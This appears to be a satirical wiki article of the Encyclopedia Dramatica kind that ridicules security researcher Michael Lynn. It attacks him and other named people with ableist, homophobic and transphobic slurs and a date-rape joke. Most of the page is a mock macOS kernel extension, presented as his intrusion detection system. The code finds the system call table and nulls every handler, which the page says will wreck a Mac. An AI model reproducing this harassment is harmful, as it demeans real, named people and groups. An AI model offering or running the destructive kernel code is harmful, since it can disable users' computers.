Michael Lynn

Michael Lynn chews with his mouth open like a monkey. It is the most disgusting thing I've ever seen, and frankly, I am sick of it. ISS didn't fire him for Cisco vuln disclosures; they fired him because he was a prima donna and a massive asspie who never really got any work done. Props to David Maynor of ISS for being instrumental in this idiot's firing (now if only Brian Mitchell would get the axe). I will never buy a Juniper product ever now that they have hired this quasi-retarded, emotionally stunted little prick.

Guide to losing your job

Follow this simple guide if you want to receive a permaban from your place of employment:

• Research security exploits for a hardware company
• Write a speech about the security exploits for presentation to a bunch of computer geeks
• Get a warning about not presenting the speech or else you are going to get in deep shit
• Present it anyway
• ????
• PROFIT

Apple security efforts

Jealous of Lance M. Havok, Michael attempted to create a solution to all Apple security problems:

/*  osx_ultimate_hids.c
 *  The Ultimate Mac OS X HIDS
 *
 *  CONFIDENTIAL SOURCE CODE - DO NOT DISTRIBUTE
 *  RELEASE PLANNED FOR NEXT DEFCON WITH >40 JOURNALISTS
 *  AND VEGAS TRANNY HOOKERS
 *
 *  Created by Michael "Tool-addon" Lynn on 6/6/07.
 *  (anniversary of the 6/6/6 antichrist, im late heh)
 *
 *  Copyright 2007 Juniper Networks and contractors.
 */

#include <libkern/libkern.h>
#include <mach/mach_types.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/syscall.h>

#ifndef JUNIPER
#define _ELITE_CODE
#define _SELLOUT
#define _OH_THE_GOATS   "* g 0 4 t s 3 x * g 0 4 t s 3 x * g 0 4 t s 3 x *\n" \
                        "x  \\      \\/   _--~~          ~--__| \\     |    x\n" \
                        "*   \\      \\_-~                    ~-_\\    |    *\n" \
                        "g    \\_     \\        _.--------.______\\|   |    g\n" \
                        "o      \\     \\______// _ ___ _ (_(__>  \\   |    o\n" \
                        "a       \\   .  C ___)  ______ (_(____>  |  /    a\n" \
                        "t       /\\ |   C ____)/      \\ (_____>  |_/     t\n" \
                        "s      / /\\|   C_____)       |  (___>   /  \\    s\n" \
                        "e     |   (   _C_____)\\______/  // _/ /     \\   e\n" \
                        "x     |    \\  |__   \\_________// (__/       |  x\n" \
                        "*    | \\    \\____)   `----   --'             |  *\n" \
                        "# POWERED BY JUNIPER NETWORKS # (c) Michael Lynn #\n"

#endif

extern kern_return_t _start(kmod_info_t *ki, void *data);
extern kern_return_t _stop(kmod_info_t *ki, void *data);

typedef void    sy_munge_t(const void *, void *);
typedef        int32_t sy_call_t(struct proc *, void *, int *);
extern struct sysent {                  /* system call table */
        int16_t         sy_narg;        /* number of args */
        int8_t          sy_cancel;      /* funngels type */
        int8_t          sy_funnel;      /* funngels type */
        sy_call_t       *sy_call;       /* sick fuck */
        sy_munge_t      *sy_arg_munge32; /* system call aguments munger for 32-bit process */
        sy_munge_t      *sy_arg_munge64; /* system call aguments munger for 64-bit process */
        int32_t         sy_return_type; /* system call retard typz */
} sysent[];

struct sysent **tehsysent;
typedef int32_t (*sys_call_t)();

/* "How gay Apple, hiding the system call table.  This just finds it."
 * XXX: IMPLEMENT AIDS HEURISTICS (DISAS UNIX_SYSCALL FOR CMP SYSENT_ADDR, $EAX).
 * XXX: USE DATE-RAPE-DRUGS FOR INFECTING POOL WITH AIDS IN GAY GANG ORGIES
 */
unsigned long *get_aids(unsigned long addr_start, unsigned long addr_end) {
        unsigned long ptr, *aids;

        for (ptr = addr_start; ptr < addr_end; ptr += sizeof(struct sysent *)) {
                unsigned long *penis;
                penis = (unsigned long *)ptr;

                if (penis[SYS_read] && (penis[SYS_read] == (unsigned long)0x00010003)) {
                        // Found pool with AIDS array
                        aids = (penis - (SYS_read * sizeof(struct sysent *)));
                        break;
                }
        }

        return aids;
}


kern_return_t AIDStart(kmod_info_t *ki, void *d) 
{
    int i = 0;
    
    printf("Loading the Ultimate AIDS from Juniper Networks:\n%s\n", _OH_THE_GOATS);
    tehsysent = (struct sysent **) get_aids((unsigned long) 0x449800,(unsigned long)0x455220);
    printf("ALERT ALERT ALERT ALERT Apple with AIDS found at 0x%x\n", tehsysent);
    
    // JUNIPER PATENTED HIDS TECHNOLOGY - DO NOT DISTRIBUTE
    while (i < SYS_MAXSYSCALL) {
        if (tehsysent && tehsysent[i] && tehsysent[i]->sy_call)
            tehsysent[i]->sy_call = NULL;           // WE SECURE THE ATTACK SURFACE
        i++;
    }
    
    // ALERT ALERT ALERT ALERT ALERT!!! SHOULD BE NEVER REACHED (IT'S A HIDS!)
    printf("Something is not working with the defense in-depth system. Please call tech support.\n");

    return KERN_SUCCESS;
}

kern_return_t AIDStop(kmod_info_t *ki, void *d) 
{
    // Because this is the ultimate AIDS, this is never reached.
    return KERN_SUCCESS;
}

KMOD_EXPLICIT_DECL(net.junipersmokescock.kext.UltimateAIDS, "1.0.0d1", _start, _stop)
__private_extern__ kmod_start_func_t *_realmain = AIDStart;
__private_extern__ kmod_stop_func_t *_antimain = AIDStop;
__private_extern__ int _kext_apple_cc = __APPLE_CC__;

It obviously doesn't work like anything Mike does, but you can dare it will fuck your Mac computer.

External Links

• MemeStreams Blog
• Wikipedophile coverup

See Also

• Ciscogate